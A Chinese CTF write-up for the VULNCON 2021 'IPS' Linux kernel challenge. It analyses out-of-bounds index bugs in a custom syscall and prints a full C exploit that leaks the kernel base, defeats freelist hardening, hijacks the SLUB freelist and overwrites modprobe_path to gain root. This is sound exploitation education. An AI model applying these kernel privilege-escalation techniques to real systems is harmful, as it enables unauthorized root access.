VULNCON CTF 2021 -- IPS

前言

这个题目折磨了我接近一天,服气了,题目不算难,但是利用写得的疯掉了~~~

然后这个题目跟之前的不同,之前的题目都是实现一个内核模块,而这个题目是直接实现了一个系统调用(:所以这里不存在一些条件竞争的漏洞

题目分析

  • 内核版本 v5.14.16
  • smap/smep/kpti/kaslr 全开
  • 设置了 CONFIG_SLAB_FREELIST_HARDENED/RANDOM 编译选项,但是没有 cg 隔离
  • modprobe_path 可劫持

题目给了源码:

#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/module.h>
#include <linux/string.h>
#include <linux/fdtable.h>#ifndef __NR_IPS
#define __NR_IPS 548
#endif#define MAX 16typedef struct {int idx;unsigned short priority;char *data;
} userdata;typedef struct {void *next;int idx;unsigned short priority;char data[114];
} chunk;chunk *chunks[MAX] = {NULL};
int last_allocated_idx = -1;int get_idx(void) {int i;for(i = 0; i < MAX; i++) {if(chunks[i] == NULL) {return i;}}return -1;
}int check_idx(int idx) {if(idx < 0 || idx >= MAX) return -1;return idx;
}int remove_linked_list(int idx) {int i;for(i = 0; i < MAX; i++) {if(i == idx) continue;if(chunks[i]->next == chunks[idx]) {chunks[i]->next = chunks[idx]->next;break;}}return 0;
}int alloc_storage(unsigned int priority, char *data) {int idx = get_idx();if((idx = check_idx(idx)) < 0) return -1;chunks[idx] = kmalloc(sizeof(chunk), GFP_KERNEL);if(last_allocated_idx >= 0 && !(chunks[last_allocated_idx]->next)) {chunks[last_allocated_idx]->next = chunks[idx];}chunks[idx]->next = NULL;chunks[idx]->idx = idx;chunks[idx]->priority = priority;memcpy(chunks[idx]->data, data, strlen(data));last_allocated_idx = idx;return idx;
}int remove_storage(int idx) {if((idx = check_idx(idx)) < 0) return -1;if(chunks[idx] == NULL) return -1;int i;for(i = 0; i < MAX; i++) {if(i != idx && chunks[i] == chunks[idx]) { // 删除了所有引用chunks[i] = NULL;}}kfree(chunks[idx]);chunks[idx] = NULL;return 0;
}int edit_storage(int idx, char *data) {if((idx = check_idx(idx)) < 0); // 这里 idx 如果是非法的并没有 return,而是继续向下执行,所以这里的检查其实没用if(chunks[idx] == NULL) return -1;// 这里可能存在越界memcpy(chunks[idx]->data, data, strlen(data));return 0;
}int copy_storage(int idx) {if((idx = check_idx(idx)) < 0) return -1;if(chunks[idx] == NULL) return -1;int target_idx = get_idx(); // 没有对 target_idx 进行合法性检查,target_idx 可能是 -1chunks[target_idx] = chunks[idx];return target_idx;
}SYSCALL_DEFINE2(ips, int, choice, userdata *, udata) {char data[114] = {0};if(udata->data && strlen(udata->data) < 115) {if(copy_from_user(data, udata->data, strlen(udata->data))) return -1;}switch(choice) {case 1: return alloc_storage(udata->priority, data);case 2: return remove_storage(udata->idx);case 3: return edit_storage(udata->idx, data);case 4: return copy_storage(udata->idx);default: return -1;}
}

可以看到,代码主要实现了 __NR_IPS 系统调用,共 4 个功能,实现了堆块的增、删、复制、改。这里一开始就感觉 copy 存在问题,因为这里只是单纯的复制了指针,如果在释放堆块时没有正确处理则会导致 UAF,但是查看 remove 代码可以发现,在删除一个堆块时,会清空所有对其的引用,所有这里也就自然不存在相关漏洞

但是仔细观察,可以发现 copy 中确实存在一个漏洞,当 chunks 数组满时,如果此时调用 copy,这里的 get_idx 函数会因为找不到合适的位置而返回 -1,但是这里却没用对 target_idx 进行合法性检测,从而导致了数组越界(:往上溢出 1 [8 bytes]

然后看 remove 函数,其只检测 [0, MAX) 中的索引,所以这里 -1 就被排除在外了,所以可以利用其来构造一个 UAF

这里单纯一个 UAF 还构不成太大的问题,但是在 edit 中存在同样的问题,对于传入的 idx,如果其不合法,则应该直接返回,但是 edit 仍然利用其进行写入:

int edit_storage(int idx, char *data) {// 这里 idx 如果是非法的并没有 return,而是继续向下执行,所以这里的 idx 可能为 -1if((idx = check_idx(idx)) < 0); if(chunks[idx] == NULL) return -1;memcpy(chunks[idx]->data, data, strlen(data));return 0;
}

可以看到这里仅仅是判断是否合法,但是没有做出相应的反应,所以这里就可以对释放的堆块进行写入了,所以这里我们获得了一个强大的原语:kmalloc-128 UAF,可进行写入

漏洞利用

构造越界读
由于开启了 kaslr,所以第一步得泄漏 kbase,这里由于没开启 cg 隔离,所以比较简单,kmalloc-128 可以利用 msg_msg 或者 user_key_payload 去进行越界读(:msg_msg 还可以实现任意地址读,但是笔者喜欢用 user_key_payload,思路如下:

  • add 16 次,使得 chunks 被占满
  • copy(idx),使得 chunks[-1] = chunks[idx]
  • dele(idx) 释放 chunks[idx],由于 dele 只会检查 [0, 16) 之间的索引,所以 chunks[-1] 被保留,这里堆块记作 UAF chunk
  • 申请 user_key_payload 占据 UAF chunk
  • 利用 edit(-1) 修改 UAF chunk 即修改 user_key_payload,此时就可以把 user_key_payloaddatalen 改大从而实现越界读(:后面泄漏 kbase 就比较简单了,可以先提前堆块一些 user_key_payloadrevoke

思路一:USMA
泄漏完 kbase,笔者的第一想法就是 USMA,因为这里 UAF chunk 是可以被写入的,这里思路如下:

  • 释放掉 user_key_payloadUAF chunk
  • 申请 pgv 占据 UAF chunk
  • 利用 edit(-1) 修改 UAF chunk 即修改 pgv 即可进行 USMA

但是测试发现没有相关 cap,于是无法创建新的 namespace,所以这个思路就放弃了

思路二:劫持 freelist
然后第二个思路就是去劫持 freelist 实现任意地址分配了,这里思路如下:

  • 释放掉 user_key_payloadUAF chunk
  • 利用 edit(-1) 修改 UAF chunknext 指针从而劫持 freelist

这里来探索下该思路的可行性,首先,edit(-1) 只能修改 ptr + 8 + 6 之后的内存,但是这里调试发现 kmalloc-128offset0x40,所以这里是可以覆写到 next 域的

然后就是去绕过 CONFIG_SLAB_FREELIST_HARDENED 了,而且这里的异或加密还做了加强:ptr_addr 会进行字节翻转后才进行异或,所以这里仅仅靠越界读是无法泄漏 cookie

所以这里想要泄漏 cookie 需要泄漏两个堆地址和其与 cookie 的异或加密值(其实就是最原始的泄漏方法,xor_val = swap(chunk1+0x40) ^ cookie ^ chunk2,所以我们去泄漏 xor_val/chunk1/chunk2,这样就可以泄漏 cookie 了)

这里就得利用 chunk 结构体上的 next 指针了,我们在构造越界读时,可以通过堆风水(单纯申请就行了,就是成功率低一些,但是省事啊)把 chunk 也布置在 user_key_payload 的下方,这里通过越界读就可以泄漏每个 chunknext 值,这里就相当于泄漏的堆地址,并且可以通过 idx 确定当前 next 是哪一个 chunk 的地址,比如 chunk[idx]->next = chunk[idx+1],那如何确定 chunk[-1] 也就是 UAF chunk 的地址呢?其实也简单,越界读是连续的,所以通过某个 chunk[idx] 距离读取起始地址的偏移即可确定 chunk[-1] 的地址

这里假设泄漏了 chunk[i]、chunk[j] 的地址,那么后续利用如下:

  • 释放 chunk[i] chunk[j] 此时 freelist->chunk[j]->chun[i]
  • 利用越界读泄漏 xor_val,然后就可以计算出 cookie
  • 释放掉 user_key_payloadUAF chunk
  • 利用 edit(-1) 修改 UAF chunknext 指针为 cookie ^ swap(chunk[-1]+0x40) ^ (modprobe_path+offset)
    • 这里 modprobe_path 存在 offset 是因为如果你后面利用 chunk 结构占据堆块的话,只能从 +8+6 位置开始写;如果用 user_key_payload 占据的话,只能从 +0x18 位置开始写
  • 然后连续两次申请即可申请到 modprobe_path 附近的内存,然后就可以修改 modprobe_path

最后 exploit 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>void err_exit(char *msg)
{perror(msg);sleep(1);exit(EXIT_FAILURE);
}void fail_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(1);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}#ifndef __NR_IPS
#define __NR_IPS 548
#endiftypedef struct {int idx;unsigned short priority;char *data;
} userdata;typedef struct {uint64_t next;int idx;unsigned short priority;char data[114];
} chunk;void add(char* data) {userdata n = { .data = data };if (syscall(__NR_IPS, 1, &n) < 0)err_exit("add");
}void dele(int idx) {userdata n = { .idx = idx };syscall(__NR_IPS, 2, &n);
}void edit(int idx, char* data) {userdata n = { .idx = idx, .data = data };if (syscall(__NR_IPS, 3, &n)) err_exit("deit");
}void copy(int idx) {userdata n = { .idx = idx };syscall(__NR_IPS, 4, &n);
}int key_alloc(char *description, char *payload, size_t plen)
{return syscall(__NR_add_key, "user", description, payload, plen,KEY_SPEC_PROCESS_KEYRING);
}int key_update(int keyid, char *payload, size_t plen)
{return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}int key_read(int keyid, char *buffer, size_t buflen)
{return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}int key_revoke(int keyid)
{return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}int key_unlink(int keyid)
{return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}typedef unsigned long long __u64;#define swap64(x) ((__u64)(                             \(((__u64)(x) & (__u64)0x00000000000000ffULL) << 56) |   \(((__u64)(x) & (__u64)0x000000000000ff00ULL) << 40) |   \(((__u64)(x) & (__u64)0x0000000000ff0000ULL) << 24) |   \(((__u64)(x) & (__u64)0x00000000ff000000ULL) <<  8) |   \(((__u64)(x) & (__u64)0x000000ff00000000ULL) >>  8) |   \(((__u64)(x) & (__u64)0x0000ff0000000000ULL) >> 24) |   \(((__u64)(x) & (__u64)0x00ff000000000000ULL) >> 40) |   \(((__u64)(x) & (__u64)0xff00000000000000ULL) >> 56)))void get_flag() {system("echo -ne '#!/bin/sh\n/bin/cp /root/flag.txt /home/user/flag.txt\n/bin/chmod 777 /home/user/flag.txt' > /home/user/x");system("chmod +x /home/user/x");system("echo -ne '\\xff\\xff\\xff\\xff' > /home/user/dummy");system("chmod +x /home/user/dummy");system("/home/user/dummy");sleep(0.3);system("cat /home/user/flag.txt");
}int main(int argc, char** argv, char** envp)
{bind_core(0);int res;char desc[0x20] = { 0 };char buf[0x10000] = { 0 };uint64_t kbase = 0xffffffff81000000;uint64_t koffset = -1;uint64_t user_free_payload_rcu = 0xffffffff8137c190;for (int i = 0; i < 16; i++) {memset(buf, 'A'+i, 0x20);add(buf);}copy(8);dele(8);sprintf(desc, "%s", "XiaozaYa");int key_id = key_alloc(desc, buf, 80);if (key_id < 0) err_exit("key_alloc");memset(buf, '\xf0', 8);edit(-1, buf);res = key_read(key_id, buf, 0xff00);if (res < 0x1000) fail_exit("failed to overwrite datalen");for (int i = 0; i < 15; i++) {if (i != 8) dele(i);}#define SPRAY_KEY_NUMS 16int keys[SPRAY_KEY_NUMS];for (int i = 0; i < SPRAY_KEY_NUMS; i++) {sprintf(desc, "%s%d", "XiaozaYa", i);keys[i] = key_alloc(desc, buf, 80);if (keys[i] < 0) err_exit("key_alloc");}for (int i = 0; i < SPRAY_KEY_NUMS; i++) {key_revoke(keys[i]);}res = key_read(key_id, buf, 0xff00);for (int i = 0; i < res / 8; i++) {uint64_t val = *(uint64_t*)(buf + i*8);if ((val&0xfff) == 0x190 && val > 0xffffffff81000000 && ((val>>32)&0xffffffff) == 0xffffffff) {koffset = val - user_free_payload_rcu;kbase += koffset;break;}}if (koffset == -1) fail_exit("failed to bypass kaslr");uint64_t modprobe_path = 0xffffffff8244fa20 + koffset;printf("[+] koffset: %#llx\n", koffset);printf("[+] kbase: %#llx\n", kbase);printf("[+] modprobea_path: %#llx\n", modprobe_path);memset(buf, 0, sizeof(buf));for (int i = 0; i < 15; i++) {userdata n = { .data = buf, .priority = 'A'+i };syscall(__NR_IPS, 1, &n);}res = key_read(key_id, buf, 0xff00);
//      binary_dump("LEAK DATA", buf+128-0x18, 128 * 20);chunk* h = NULL;int nums = 0;uint64_t addrs[16] = { 0 };uint64_t offsets[16];for (int i = 0; i < 16; i++) offsets[i] = -1;for (uint64_t i = 0; i < (res - 128 + 0x18) / 128; i++) {h = (buf+128-0x18) + i * 128;if (h->next > 0xffff000000000000 && (h->next&0xffff000000000000) == 0xffff000000000000 && (h->idx + 'A') == h->priority) {if (h->idx == 15) {addrs[0] = h->next;} else {addrs[h->idx+1] = h->next;}offsets[h->idx] = i;}}#define IDX 0#define ADDR 1#define OFFSET 2uint64_t map[16][3];for (int i = 0; i < 16; i++) {if (addrs[i] && offsets[i] != -1) {printf("[---offset %03x---] %02d => %#llx\n", offsets[i], i, addrs[i]);map[nums][IDX] = i;map[nums][ADDR] = addrs[i];map[nums][OFFSET] = offsets[i];nums++;}}printf("[+] hit counts: %d\n", nums);if (nums < 2) fail_exit("failed to hit");uint64_t evil_chunk = map[0][ADDR] - map[0][OFFSET] * 128 - 128;printf("[+] evil_chunk: %#llx\n", evil_chunk);dele(map[0][IDX]);dele(map[1][IDX]);res = key_read(key_id, buf, 0xff00);uint64_t xor_val0 = *(uint64_t*)(buf+128-0x18+128*map[0][OFFSET]+0x40);uint64_t xor_val1 = *(uint64_t*)(buf+128-0x18+128*map[1][OFFSET]+0x40);printf("[+] xor_val0: %#llx\n", xor_val0);printf("[+] xor_val1: %#llx\n", xor_val1);uint64_t cookie = map[0][ADDR] ^ swap64((map[1][ADDR]+0x40)) ^ xor_val1;printf("[+] cookie: %#llx\n", cookie);memset(buf, '\x00', 0x100);memset(buf, 'A', 0x32);buf[0] = '\xff';buf[1] = '\xff';*(uint64_t*)(buf+0x32) = (modprobe_path-8-6) ^ cookie ^ swap64((evil_chunk+0x40));printf("[+] evil freelist: %#llx\n", *(uint64_t*)(buf+0x32));printf("[+] data len: %x\n", strlen(buf));key_revoke(key_id);
//      key_unlink(key_id);
//      edit(-1, buf);
//      edit(-1, buf);getchar(); // <=================== 不要删除,不然利用失败edit(-1, buf);memset(buf, '\x00', 0x100);strcpy(buf, "/home/user/x");for (int i = 0; i < 2; i++) {add(buf);}get_flag();
//      puts("[+] debug");
//      getchar();puts("[+] EXP NERVER END");return 0;
}

效果如下:
在这里插入图片描述

存在的问题

首先就是成功率不是很高啦,这个从我的 exploit 就可以看出,笔者并没有优化相关的堆风水,整个堆布局的构建都很简单粗暴,所以成功率低可以理解

关键的问题是可以看到我 exploit 中在修改 chunk[-1]next 时,在前面加上了一个 getchar(),这个 getchar() 不是随意加的,因为笔者测试发现删除该 getchar() 则导致 edit(-1, buf) 写入失败。但是在调试的时候不加又是可以成功写入的,直接运行不加则会导致写入失败:
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/9094.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

卷积通用模型的剪枝、蒸馏---蒸馏篇--RKD关系蒸馏(以deeplabv3+为例)

本文使用RKD实现对deeplabv3+模型的蒸馏;与上一篇KD蒸馏的方法有所不同,RKD是对展平层的特征做蒸馏,蒸馏的loss分为二阶的距离损失Distance-wise Loss和三阶的角度损失Angle-wise Loss。 一、RKD简介 RKD算法的核心是以教师模型的多个输出为结构单元,取代传统蒸馏学习中以教…

【通信】为什么用复形式表示信号

引入&#xff1a; 一个实例反映复信号和实信号对应关系&#xff08;幅度与相位&#xff09; 复信号的意义 在实际工程中&#xff0c;没有数学意义上的复数信号。再信号与系统中引入复数是为了&#xff1a; ①简化公式&#xff0c;特别是三角函数 ②复数的实部和虚部实际上代…

VBA技术资料MF152:列出工作表中所有单元格的注释

我给VBA的定义&#xff1a;VBA是个人小型自动化处理的有效工具。利用好了&#xff0c;可以大大提高自己的工作效率&#xff0c;而且可以提高数据的准确度。“VBA语言専攻”提供的教程一共九套&#xff0c;分为初级、中级、高级三大部分&#xff0c;教程是对VBA的系统讲解&#…

FreeRTOS的任务详解、创建与删除

目录 1、任务详解 1.1 什么是任务&#xff1f; 1.2 任务的特点 1.3 任务的状态 1.4 任务的优先级 1.5 任务的堆和栈 2、任务的创建与删除 2.1 相关API 2.2 函数解析 2.2.1 xTaxkCreate() 2.2.2 xTaskCreateStatic() 2.2.3 vTaskDelete() 3、实战案例 3.1 创建两个…

JavaSwing课程设计-实现一个计算器程序

通过JavaSwing技术来实现计算器小程序&#xff0c;效果如下。 源码下载链接 源码下载 博主承诺真实有效&#xff0c;私信可提供支持

JavaEE 多线程详细讲解(2)

1.线程不安全分析 &#xff08;1&#xff09;线程不安全的主要原因就是&#xff0c;系统的抢占式执行&#xff0c;对于内核设计者来说&#xff0c;这是非常方便的一个执行方式&#xff0c;但是这却却导致线程不安全的问题&#xff0c;也有不抢占执行的系统&#xff0c;但是这种…

存储或读取时转换JSON数据

一、 数据库类型 二、使用Hutool工具 存储时将数据转换为JSON数据 获取时将JSON数据转换为对象 发现问题&#xff1a; 原本数据对象是Address 和 Firend但是转换完成后数据变成了JSONArray和JSONObject 三、自定义TypeHandler继承Mybatis的BaseTypeHandler处理器 package …

STL速查

容器 (Containers) 图解容器 支持随机访问 stringarrayvectordeque支持支持支持支持 string 类 构造函数 string(); ------创建一个空的字符串 例如: string str;string(const char* s); ------使用字符串s初始化string(const string& str); ------拷贝构造 赋值操作…

Android GPU渲染屏幕绘制显示基础概念(1)

Android GPU渲染屏幕绘制显示基础概念&#xff08;1&#xff09; Android中的图像生产者OpenGL&#xff0c;Skia&#xff0c;Vulkan将绘制的数据存放在图像缓冲区中&#xff0c;Android中的图像消费SurfaceFlinger从图像缓冲区将数据取出&#xff0c;进行加工及合成。 Surface…

OpenMVS学习笔记(一):WSL编译安装测试

1.CUDA和CUDNN安装 [1] WSL版本cuda安装&#xff1a; >> wget https://developer.download.nvidia.com/compute/cuda/repos/wsl-ubuntu/x86_64/cuda-wsl-ubuntu.pin >> sudo mv cuda-wsl-ubuntu.pin /etc/apt/preferences.d/cuda-repository-pin-600 >> wg…

7个AI驱动的3D模型生成器

老子云AI生成3D模型https://www.laozicloud.com/aiModel 在快速发展的技术世界中&#xff0c;人工智能 (AI) 已经改变了游戏规则&#xff0c;尤其是在 3D 对象生成领域。 AI 驱动的 3D 对象生成器彻底改变了我们创建和可视化 3D 模型的方式&#xff0c;使该过程更加高效、准确…

Star-CCM+通过将所有部件创建一个区域的方式分配至区域后子区域的分离,子区域材料属性的赋值,以及物理连续体的创建方法介绍

前言 上次介绍了将零部件分配至区域的方法与各个方法之间的区别&#xff0c;本文将继续上次的讲解&#xff0c;将其中的“将所有部件分配至一个区域”的应用进行补充。 如下图所示&#xff0c;按照将所有部件创建一个区域的方式分配至区域后&#xff0c;在区域下就会有一个区域…

若依集成mybatis-plus 超详细教程(亲测可用)

文章目录 简介步骤第一步第二步第三步第四步第五步第六步 使用QueryWrapperservice层impl 实现接口类层Mapper层 简介 话不多说 直接跟着下面的教程操作&#xff0c;如果有报错私信我&#xff0c;或者通过博文下面的微信名片加我微信&#xff0c;免费解答哦&#xff01; 步骤 …

opencv图片的旋转-------c++

图片的旋转 /// <summary> /// 图片的旋转 /// </summary> /// <param name"img"></param> /// <param name"angle">旋转角度:正数&#xff0c;则表示逆时针旋转;负数&#xff0c;则表示顺时针旋转</param> /// <…

【吊打面试官系列】Java高并发篇 - 什么是线程调度器(Thread Scheduler)和时间分片(TimeSlicing )?

大家好&#xff0c;我是锋哥。今天分享关于 【什么是线程调度器(Thread Scheduler)和时间分片(TimeSlicing )&#xff1f;】面试题&#xff0c;希望对大家有帮助&#xff1b; 什么是线程调度器(Thread Scheduler)和时间分片(TimeSlicing )&#xff1f; 线程调度器是一个操作系统…

2024中国植物资源化妆品创新展在国家植物园成功举办

2024中国植物资源化妆品创新展&#xff08;简称国植美妆展&#xff09;于今年05月06日在北京国家植物园圆满落下帷幕。国植美妆展由中国广告协会化妆品工作委员会与中国抗衰老促进会化妆品产业分会指导&#xff0c;北京华晟德观文化科技发展有限公司主办&#xff0c;于03月30日…

安卓模拟器访问主机局域网

误打误撞能够访问主机局域网了 但是不太懂是因为哪一部分成功的 先记录一下 PC&#xff1a;mac系统 安卓编译器&#xff1a;Android Studio 步骤 只需要在PC上进行设置 1. 在【设置】中&#xff0c;打开已连接的Wi-Fi的【详细信息】 2. TCP/IP --> 配置IPv6&#xff0c;修…

前端组件库之ant-design-vue

在这里记录一个这个组件库我之前没有发现最近才发现的一个很好用的功能&#xff08;应该叫功能吧&#xff1f;&#xff09; 就是 这个flex弹性布局&#xff0c;之前在开发时&#xff0c;一直使用elementUI,是第一次使用这个组件库&#xff0c;所以没有发现这个功能这么好用 你…

WPF控件之StackPanel布局控件

StackPanel别名堆栈panel 使其子元素按照一定方式进行布局&#xff0c;子元素排布方式要么设置为水平排布&#xff0c;要么垂直排布。 属性 Orientation设置排列方式(默认的是垂直排布) : Horizontal水平排布 Vertical 垂直排布 实例 <StackPanel Orientation"Vert…

视频号小店怎么做?店铺运营详细步骤讲解,全网独家

大家好&#xff0c;我是电商笨笨熊 视频号小店作为今年的电商黑马&#xff0c;下一个站在风口的项目&#xff0c;自是吸引了不少的玩家&#xff1b; 先不说视频号自身庞大的流量体系&#xff0c;单单是高客单的市场就值得尝试一把&#xff1b; 且当前视频号小店刚刚推出不久…